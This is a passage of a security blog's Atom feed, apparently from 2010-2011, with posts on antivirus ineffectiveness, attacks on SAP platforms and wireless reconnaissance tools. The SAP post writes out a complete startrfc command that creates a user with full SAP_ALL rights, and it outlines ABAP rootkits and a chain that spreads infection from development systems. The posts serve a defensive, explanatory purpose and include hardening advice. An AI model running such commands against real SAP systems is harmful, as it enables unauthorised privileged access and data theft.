imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://4.bp.blogspot.com/-vIvn7CH3cUk/TZz6p38EAQI/AAAAAAAAAQc/ZD9fdvk0ppw/s400/03-Apr-07-11-pic1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-9y_77e0x_LI/TZz6qaKXNQI/AAAAAAAAAQg/o8tDYE_hD6g/s1600/03-Apr-07-11-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="203" src="http://1.bp.blogspot.com/-9y_77e0x_LI/TZz6qaKXNQI/AAAAAAAAAQg/o8tDYE_hD6g/s400/03-Apr-07-11-pic2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Z0VHHsyUMbo/TZz6q_DmihI/AAAAAAAAAQk/RncY5frIdII/s1600/03-Apr-07-11-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="241" src="http://3.bp.blogspot.com/-Z0VHHsyUMbo/TZz6q_DmihI/AAAAAAAAAQk/RncY5frIdII/s400/03-Apr-07-11-pic3.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-syz-fW8l9d0/TZz6rvsqEvI/AAAAAAAAAQs/oivzrTlOBsc/s1600/03-Apr-07-11-pic5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="127" src="http://2.bp.blogspot.com/-syz-fW8l9d0/TZz6rvsqEvI/AAAAAAAAAQs/oivzrTlOBsc/s400/03-Apr-07-11-pic5.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/--5Kwshp1DSQ/TZz6r_66diI/AAAAAAAAAQw/lWcqwtDwcvY/s1600/03-Apr-07-11-pic6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://2.bp.blogspot.com/--5Kwshp1DSQ/TZz6r_66diI/AAAAAAAAAQw/lWcqwtDwcvY/s400/03-Apr-07-11-pic6.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-p4Aam83FWec/TZz6sRE8RgI/AAAAAAAAAQ0/bnwD57upQoY/s1600/03-Apr-07-11-pic7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="245" src="http://2.bp.blogspot.com/-p4Aam83FWec/TZz6sRE8RgI/AAAAAAAAAQ0/bnwD57upQoY/s400/03-Apr-07-11-pic7.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-5GEwx9B44r8/TZz6s5SeLzI/AAAAAAAAAQ4/Ysl4XQADGyo/s1600/03-Apr-07-11-pic8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://2.bp.blogspot.com/-5GEwx9B44r8/TZz6s5SeLzI/AAAAAAAAAQ4/Ysl4XQADGyo/s400/03-Apr-07-11-pic8.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-VljESGvGXz4/TZz6teUDfzI/AAAAAAAAAQ8/pzVIqhZmPC4/s1600/03-Apr-07-11-pic9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/-VljESGvGXz4/TZz6teUDfzI/AAAAAAAAAQ8/pzVIqhZmPC4/s400/03-Apr-07-11-pic9.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-349yhoy75mU/TZz6pVK6LMI/AAAAAAAAAQY/xP5FOAar92Q/s1600/03-Apr-07-11-pic10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://1.bp.blogspot.com/-349yhoy75mU/TZz6pVK6LMI/AAAAAAAAAQY/xP5FOAar92Q/s400/03-Apr-07-11-pic10.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-1375824329182073608?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1375824329182073608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1375824329182073608'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/04/black-market-of-your-digital-data.html' title='The Black Market of your Digital Data Illustrated'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-l7hXtB43rWE/TZz6rTwBh9I/AAAAAAAAAQo/7B37x3tQgv0/s72-c/03-Apr-07-11-pic4.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4164309010476440822</id><published>2011-02-11T18:42:00.000-04:30</published><updated>2011-02-11T18:42:56.699-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='mass-email attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Cutwail botnet'/><category scheme='http://www.blogger.com/atom/ns#' term='Signature-based'/><category scheme='http://www.blogger.com/atom/ns#' term='Skeptic'/><category scheme='http://www.blogger.com/atom/ns#' term='anti-virus ineffectiveness'/><category scheme='http://www.blogger.com/atom/ns#' term='Polymorphic Viruses'/><category scheme='http://www.blogger.com/atom/ns#' term='email-borne threats'/><category scheme='http://www.blogger.com/atom/ns#' term='AV detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Aurora'/><category scheme='http://www.blogger.com/atom/ns#' term='Heuristic-based'/><category scheme='http://www.blogger.com/atom/ns#' term='0day attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Bredolab'/><title type='text'>Ineffectiveness of AntiVirus Solutions</title><content type='html'>&lt;i&gt;Many recent high profile attacks into major software companies, public sector institutions and international organizations.&lt;/i&gt;&lt;br /&gt;–Aurora attack on Google and 32 other companies last year&lt;br /&gt;–In all cases: malicious email was sent to victim&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Email-borne threats fall into two general categories:&lt;/i&gt;&lt;br /&gt;–Mass email attacks&lt;br /&gt;–Targeted attacks&lt;br /&gt;Traditional AV increasingly ineffective and heuristic engine is necessary.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Typical Bredolab/Trojan.Sasfis&lt;/i&gt;&lt;br /&gt;Most prolific family of mass-mailed threats using executable attachment.&lt;br /&gt;Social engineering lures:&lt;br /&gt;–Social Media website password reset&lt;br /&gt;–Western Union or UPS invoice&lt;br /&gt;–"You have received an E-Card!"&lt;br /&gt;–Spammed out in very large numbers (Cutwail botnet)&lt;br /&gt;–Many different payloads&lt;br /&gt;–13.3% of all Malware stopped by Skeptic&lt;br /&gt;–Between June 2009 and June 2010 (excluding Phish and links)&lt;br /&gt;–Typically low AV detection (&amp;lt; 10 on VT)&lt;br /&gt;–Good social engineering tactics&lt;br /&gt;–Use of Word or Excel icons&lt;br /&gt;–Spoof prolific companies (Facebook, UPS, Fedex)&lt;br /&gt;–Heavy use of server-side polymorphism (SSP) to evade signature-based AV&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Ro0pOoAkO3M/TVW82w3xjnI/AAAAAAAAAQM/LDkpr_WR_xE/s1600/02-Feb-11-11-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://4.bp.blogspot.com/-Ro0pOoAkO3M/TVW82w3xjnI/AAAAAAAAAQM/LDkpr_WR_xE/s320/02-Feb-11-11-pic1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Signature-based AV&lt;/i&gt;&lt;br /&gt;–Create a "signature" for a piece of Malware&lt;br /&gt;–String(s) of bytes&lt;br /&gt;–Checksum(s)&lt;br /&gt;–Very specific&lt;br /&gt;–Evidence of increased use of SSP&lt;br /&gt;–In 2008, Symantec created 1,691,323 new malicious code signatures&lt;br /&gt;–In 2009, 2,895,802 new signatures were created (71% increase)&lt;br /&gt;–139% increase from 2007 to 2008&lt;br /&gt;–Not sustainable!&lt;br /&gt;–Solution: heuristic-based approach&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Signature Development Process&lt;/i&gt;&lt;br /&gt;&lt;span id="goog_932344954"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-iX2LP9eTGaU/TVW9LPIg4qI/AAAAAAAAAQQ/IvRRG_DTqEo/s1600/02-Feb-11-11-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="234" src="http://2.bp.blogspot.com/-iX2LP9eTGaU/TVW9LPIg4qI/AAAAAAAAAQQ/IvRRG_DTqEo/s320/02-Feb-11-11-pic2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Heuristic-based Approach&lt;/i&gt;&lt;br /&gt;–Generic detection&lt;br /&gt;–Features known to exist in Malware&lt;br /&gt;–Decision based on extracted features&lt;br /&gt;–Weighted&lt;br /&gt;–Cloud based&lt;br /&gt;–no reactive signature deployment delays&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Polymorphic Viruses&lt;/i&gt;&lt;br /&gt;–Big problem for AV&lt;br /&gt;–Many different variants&lt;br /&gt;–Functionally equivalent&lt;br /&gt;–Signatures required for each variant&lt;br /&gt;–Solution: "emulation"&lt;br /&gt;–Emulate past decryptor stub&lt;br /&gt;–Sig the static virus body&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Server-side polymorphism (SSP)&lt;/i&gt;&lt;br /&gt;–Custom encryption routine&lt;br /&gt;–Decrypt at runtime&lt;br /&gt;–Generated by a polymorphic engine&lt;br /&gt;–Hundreds or perhaps thousands of unique variants&lt;br /&gt;–Random junk instructions&lt;br /&gt;–API calls&lt;br /&gt;–Arithmetic&lt;br /&gt;–EP&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Use in mass-email attacks&lt;/i&gt;&lt;br /&gt;–Attackers generate a number of unique binaries&lt;br /&gt;–Change the binary being spammed throughout the attack&lt;br /&gt;–Problem for any vendor without proactive protection in place&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Bredolab Case Study - 30 March 2010&lt;/i&gt;&lt;br /&gt;–Standard Bredolab run:&lt;br /&gt;–Subject: variation of 'UPS Delivery Problem NR 18800'&lt;br /&gt;–Attachment: similarly named 'UPS_invoice_1845.exe'&lt;br /&gt;–relatively small (only 56 observed copies)&lt;br /&gt;–Started at 19:08:33 GMT (time 0)&lt;br /&gt;–Last observed sample at 19:36:31&lt;br /&gt;–Total of 27 min 59s&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Case Study - AV Detection &amp;amp; Response Time&lt;/i&gt;&lt;br /&gt;–At time 0, AV detection was 0&lt;br /&gt;–Average response time?&lt;br /&gt;–661 minutes (11 hours and 1 minute)&lt;br /&gt;–Remember that the attack only lasted 28 mins&lt;br /&gt;–This is the average response time&lt;br /&gt;–INEFFECTIVE&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Aurora and Targeted Attacks (Spear-Phishing)&lt;/i&gt;&lt;br /&gt;–Aurora/Hydraq&lt;br /&gt;–Up to 34 different companies compromised in same period using similar techniques&lt;br /&gt;–Email links to malicious web pages&lt;br /&gt;–Flaws in Adobe Acrobat Reader&lt;br /&gt;–Google hackers are back?&lt;br /&gt;–CVE-2010-2883&lt;br /&gt;&lt;br /&gt;&lt;b&gt;According to US Department of Defense Cyber Crime Center:&lt;/b&gt;&lt;br /&gt;"&lt;i&gt;102 breaches of the Pentagon’s agencies, partners and contractors in a two-year period ending August 2009&lt;/i&gt;"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-jrJL3Q8x9dc/TVW97NOmanI/AAAAAAAAAQU/A1__nS2d4bM/s1600/02-Feb-11-11-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://2.bp.blogspot.com/-jrJL3Q8x9dc/TVW97NOmanI/AAAAAAAAAQU/A1__nS2d4bM/s320/02-Feb-11-11-pic3.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Targeted Attack Case Study - 24 March 2010&lt;/i&gt;&lt;br /&gt;–Targeted attack blocked attempting to exploit CVE-2010-0188 (libTiff)&lt;br /&gt;–Single copy sent to an individual in a major international organization&lt;br /&gt;–Co-ordinates governments from around the world&lt;br /&gt;–Trojanized a clean PDF from a World Cup travel site&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Case Study - AV Detection &amp;amp; Response Time&lt;/i&gt;&lt;br /&gt;–AV detection was 0&lt;br /&gt;–One week later, AV detection at 33%&lt;br /&gt;–Sample sharing, blogged&lt;br /&gt;–Average response time?&lt;br /&gt;–3631 minutes (two and a half days)&lt;br /&gt;–Only takes into account the 33% of vendors that were actually detecting the threat&lt;br /&gt;–INEFFECTIVE&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4164309010476440822?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4164309010476440822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4164309010476440822'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/02/ineffectiveness-of-antivirus-solutions.html' title='Ineffectiveness of AntiVirus Solutions'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Ro0pOoAkO3M/TVW82w3xjnI/AAAAAAAAAQM/LDkpr_WR_xE/s72-c/02-Feb-11-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7063328818153378597</id><published>2011-01-31T17:40:00.000-04:30</published><updated>2011-01-31T17:40:11.019-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SAP SQL injection'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP Penetration Attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='ABAP Rootkits'/><category scheme='http://www.blogger.com/atom/ns#' term='ABAP Executable Manipulation'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP systems'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP Cross Site Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP security'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='SAP RFC'/><category scheme='http://www.blogger.com/atom/ns#' term='enterprise security'/><title type='text'>Targeting SAP Platform Using Trojans and Rootkits</title><content type='html'>&lt;b&gt;Typical Enterprise Environment&lt;/b&gt;&lt;br /&gt;-Has more than a thousand of employees&lt;br /&gt;-Is a circus of IT Systems&lt;br /&gt;–Mixture of operating systems, databases, applications and their different versions&lt;br /&gt;-Decision makers care more about their bonus than the interest of the company&lt;br /&gt;-Is a political battlefield&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Enterprise Security&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Even a medium level of IT security is too expensive to achieve&lt;/i&gt;&lt;br /&gt;–Missing asset management (how many Oracle DBs, Windows servers, etc)&lt;br /&gt;–Tons of security scanning, to few remediation chasing&lt;br /&gt;–Many of the vulnerabilities cannot be mitigated&lt;br /&gt;-Obsessed by Cross Site Scripting&lt;br /&gt;-IT security departments cannot influence security decisions of business applications much, because of political reasons.&lt;br /&gt;-Nobody cares about the hacked UNIX machine, SQL DB, or others.&lt;br /&gt;-Defacement and similar security incidents are budget approvers&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SAP Systems&lt;/b&gt;&lt;br /&gt;-Business specific&lt;br /&gt;-Industry solutions&lt;br /&gt;-Hold the Crown Jewels&lt;br /&gt;-Are usually extensively customized&lt;br /&gt;-Less exposure to typical hackers (ABAP)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SAP Security&lt;/b&gt;&lt;br /&gt;-Security mostly focuses on authorizations and segregation of duties&lt;br /&gt;-Intrusion prevention is still a baby&lt;br /&gt;-Risks are underestimated/general IT Security efforts are typically unbalanced at companies&lt;br /&gt;-Unlike e.g Active Directory, SAP systems belong to the business, not the IT&lt;br /&gt;-Security departments usually fail when they are challenged&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/TUcxt1yfpeI/AAAAAAAAAQA/IrjKZyn3CVU/s1600/01-Jan-30-11-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="199" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/TUcxt1yfpeI/AAAAAAAAAQA/IrjKZyn3CVU/s320/01-Jan-30-11-pic1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;RFC (Remote Function Call) protocol lets you run functions remotely&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;–To run; use Java, C, etc. with RFC-SDK or simply execute the test program "startrfc". Following&lt;br /&gt;creates a new user with god rights:&lt;br /&gt;&lt;br /&gt;startrfc -3 -h 10.1.5.4 -s 05 -c 010 -u ERTUNGA -p CCC42 -F SUSR_RFC_USER_INTERFACE&lt;br /&gt;-E USER=SATRIANI -E ACTIVITY=01 -E PASSWORD=RUBINA -E USER_TYPE=A -T USER_PROFILES,&lt;br /&gt;12,r=-&lt;press enter=""&gt;SAP_ALL&lt;press enter=""&gt; &lt;press and="" ctrl-z="" enter=""&gt;&lt;br /&gt;&lt;/press&gt;&lt;/press&gt;&lt;/press&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;There is no exploit involved. Everything is intended functionality.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;–Beats "RFC users are not a threat because they cannot login via SAPGUI"&lt;br /&gt;–Time to recheck company’s shared folders and eliminate hardcoded passwords.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;RFC (a.k.a communication) users are thus very very important!&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;–Secure their passwords and make them part of the password change process&lt;br /&gt;–Don’t forget: GUI (dialog) users which have S_RFC rights can also execute remotely&lt;br /&gt;–SAP_ALL FOR COMMUNICATION USERS IS A NO GO!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;RFC_READ_TABLE&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Reads the contents of any table (Including ones with sensitive data e.g salary information)&lt;br /&gt;Has bugs in converting e.g binary fields&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;SUSR_RFC_USER_INTERFACE&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Can be used for creating/modifying users&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;RFC_ABAP_INSTALL_AND_RUN&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;-Takes ABAP source lines and executes them&lt;br /&gt;-Widely known! tighten user authorizations to prevent abuse&lt;br /&gt;-More restricted in latest NetWeaver Systems&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;RFC can be encapsulated in SOAP messages (SOAP RFC)&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;-Company’s internal proxy suddenly opens the doors to all SAP systems&lt;br /&gt;-Disable it if not used!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Single Sign-on (SSO2)&lt;/b&gt;&lt;br /&gt;-Is a convenient feature, not a security feature&lt;br /&gt;-RTFM: Secure Store and Forward [SSF] documentation&lt;br /&gt;-Personal Security Environment files hold the private key data&lt;br /&gt;-If an attacker obtains it, it can create authentication tickets for the victim system. Accepting these tickets is enabled per default. Attacker can logon as any user.&lt;br /&gt;-The private key container (PSE) can be pin-protected&lt;br /&gt;-Advice: Disable accepting tickets using relevant profile parameters!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SQL Injection&lt;/b&gt;-ABAP typically uses parametrized queries (Developers can still specify parts of sql statements dynamically by parentheses)&lt;br /&gt;-Not dynamic: SELECT ColumnA FROM TableA INTO[...]&lt;br /&gt;-Dynamic: SELECT(var_ColumName)FROM(var_TableName) INTO[...]WHERE(var_WhereClause)&lt;br /&gt;-Avoid dynamic statements where possible!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cross Site Scripting&lt;/b&gt;&lt;br /&gt;-Proper sanitization/encoding of the input data is the key for self developed web code such as BSPs.&lt;br /&gt;-If not done, an attacker can do everything related to XSS, plus steal e.g the SSO2 (Authentication) cookies from the clients SSO2 cookies are stateless so client impersonation is a breeze. Avoid using this mechanism without proper controls.&lt;br /&gt;-If you have F5's or similar devices, encrypt cookies based on origin IP.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ABAP Executable Manipulation&lt;/b&gt;&lt;br /&gt;-Statement: INSERT REPORT&lt;br /&gt;-Writes custom code to any ABAP program&lt;br /&gt;-It's even possible to call an editor to make it more user friendly&lt;br /&gt;-Very suspicious if found in self-developed code&lt;br /&gt;&lt;br /&gt;&lt;b&gt;RS_REPAIR_SOURCE Executable&lt;/b&gt;&lt;br /&gt;-Unpatched version does not have authorization checking.&lt;br /&gt;-People with e.g SE38 rights can execute this and manipulate the system and data of it.&lt;br /&gt;-Same as ABAP injection, only more convenient.&lt;br /&gt;-SAP patched it via: SAP Note 1167258: Program RS_REPAIR_SOURCE&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ABAP Rootkits&lt;/b&gt;&lt;br /&gt;-It is possible to modify system executables (ABAPs)&lt;br /&gt;-An attacker can easily infect important ones executables and install an ABAP rootkit&lt;br /&gt;-SAP has RFC functions that do not require user authentication by default (SRFC Function Group). This could be one candidate.&lt;br /&gt;-Installed rootkit can give anonymous access to the attacker with functionality such as: Installing&lt;br /&gt;SAP_ALL users, Manipulating ABAP reports, Running OS commands, Stealing hashes or PSE files, Deleting Logs.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Triple-Penetration Attacks&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Penetration 1: Attacker exploits the weakest system&lt;/i&gt;&lt;br /&gt;-Typical enterprise setup: Testing/Development ­&amp;gt; Quality Assurance ­&amp;gt; Production&lt;br /&gt;-Among them, most unprotected are test/development systems&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Penetration 2: Attacker infects clients which connect to the weakest system&lt;/i&gt;&lt;br /&gt;–Starts with modification/infection of the critical areas such as logon screen ABAP code&lt;br /&gt;-When admins/developers successfully login, malicious payload is downloaded and executed on these users computers&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Penetration 3: Victim infects all the systems it later connects to&lt;/i&gt;&lt;br /&gt;-Modification of critical components of the newly accessed SAP systems (Internal production systems, Partner systems, critical systems)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TUcx_ehFrwI/AAAAAAAAAQE/G15jDAjZwts/s1600/01-Jan-30-11-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="196" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TUcx_ehFrwI/AAAAAAAAAQE/G15jDAjZwts/s320/01-Jan-30-11-pic2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How to stay secure&lt;/b&gt;&lt;br /&gt;-Have proper "check-in" and "leavers process" that take the ABAP developer risks into consideration&lt;br /&gt;-Audit the code against security vulnerabilities before transporting to production systems&lt;br /&gt;-Syncing passwords to development systems means, possibility of developers to capture valid passwords for production systems. Avoid it!&lt;br /&gt;-Get rid of insecure and/or default passwords&lt;br /&gt;-Disable backwards compatiability of passwords&lt;br /&gt;-Install the latest security patches&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7063328818153378597?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7063328818153378597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7063328818153378597'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/01/targeting-sap-platform-using-trojans.html' title='Targeting SAP Platform Using Trojans and Rootkits'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/TUcxt1yfpeI/AAAAAAAAAQA/IrjKZyn3CVU/s72-c/01-Jan-30-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-6717500590830036458</id><published>2010-10-27T22:50:00.000-04:30</published><updated>2010-10-27T22:50:56.397-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='netstumbler'/><category scheme='http://www.blogger.com/atom/ns#' term='kismet'/><category scheme='http://www.blogger.com/atom/ns#' term='visualize airwaves'/><category scheme='http://www.blogger.com/atom/ns#' term='crack wpa'/><category scheme='http://www.blogger.com/atom/ns#' term='reconnaissance tools'/><category scheme='http://www.blogger.com/atom/ns#' term='crack wep'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless recon'/><category scheme='http://www.blogger.com/atom/ns#' term='aircrack-ng suite'/><title type='text'>Wireless Reconnaissance in Practice</title><content type='html'>&lt;b&gt;Kismet (stable, devel and newcore)&lt;/b&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Locate / Identify AP(s)&lt;/i&gt;&lt;br /&gt;-BSSID, ESSID, Channel and Encryption&lt;br /&gt;-GPS data&lt;br /&gt;&lt;i&gt;Locate / Identify Client(s)&lt;/i&gt;&lt;br /&gt;-MAC Address&lt;br /&gt;-Manufacturers&lt;br /&gt;Perform Spectrum analysis&lt;br /&gt;Drones / open-source WIPS&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aircrack-ng – Cracking WEP and WPA&lt;/b&gt;&lt;br /&gt;-Suite of tools for wireless testing&lt;br /&gt;-Mostly thought for wireless cracking&lt;br /&gt;-Can also be used for wireless recon&lt;br /&gt;-IE Airodump-ng&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Netstumbler&lt;/b&gt;&lt;br /&gt;-All for the Win32 geeks.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Types Reconnaissance Data&lt;/b&gt;&lt;br /&gt;Kismet-(stable|devel) – Txt, CSV, XML, GPS and pcap&lt;br /&gt;Kismet-newcore – Txt, NetXML, GPS and pcap&lt;br /&gt;Aircrack-ng – CSV, pcap, XML&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Wireless Recon Visualization Tools&lt;/b&gt;&lt;br /&gt;-Gpsmap (ancient)&lt;br /&gt;-Pykismet&lt;br /&gt;-Kismet-earth&lt;br /&gt;-kisgearth&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Limitations of Visualization Tools&lt;/b&gt;&lt;br /&gt;-None work with Kismet-newcore&lt;br /&gt;-None work with Aircrack-ng&lt;br /&gt;-Flexible representation of specific information (total flexibility in the generated graphs).&lt;div class="blogger-post-footer"&gt;&lt;img 